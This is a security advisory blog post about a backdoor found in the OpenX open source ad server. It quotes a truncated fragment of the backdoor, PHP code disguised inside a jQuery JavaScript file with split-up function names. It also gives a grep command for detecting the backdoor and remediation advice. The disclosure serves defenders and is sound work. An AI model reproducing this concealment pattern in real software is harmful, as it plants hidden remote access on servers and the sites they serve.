According to a post by Heise Security, a backdoor has been spotted in the popular open source ad software OpenX [1][2]. Appearantly the backdoor has been present since at least November 2012. I tried to download the source to verify the information, but it appears the files have been removed. 

The backdoor is disguised as php code that appears to create a jQuery javascript snippet:

this.each(function(){l=flashembed(this,k,j)}<!--?php /*if(e)
{jQuery.tools=jQuery.tools||{version:
{}};jQuery.tools.version.flashembed='1.0.2'; 
*/$j='ex'./**/'plode'; /* if(this.className ...

Heise recommends to search the ".js" files of OpenX for php code to find out if your version of OpenX is the backdoored version.

find . -name \*.js -exec grep -l '<?php' {} \;

The backdoor can then be used by an attacker to upload a shell to www/images/debugs.php . We have seen in the past several web sites that delivered malicious ads served by compromissed ad servers. This could be the reason for some of these compromisses. 

If you run OpenX:

• verify the above information (and let us know)
• if you can find the backdoor, disable/ininstall OpenX
• make sure you remove the "debug.php" file
• best: rebuild the server if you can

Heise investigated a version 2.8.10 of OpenX with a data of December 9th and an md5 of 6b3459f16238aa717f379565650cb0cf for the openXVideoAds.zip file.

[1] http://www.heise.de/newsticker/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html (only in German at this point)
[2] http://www.openx.com

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Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter @johullrich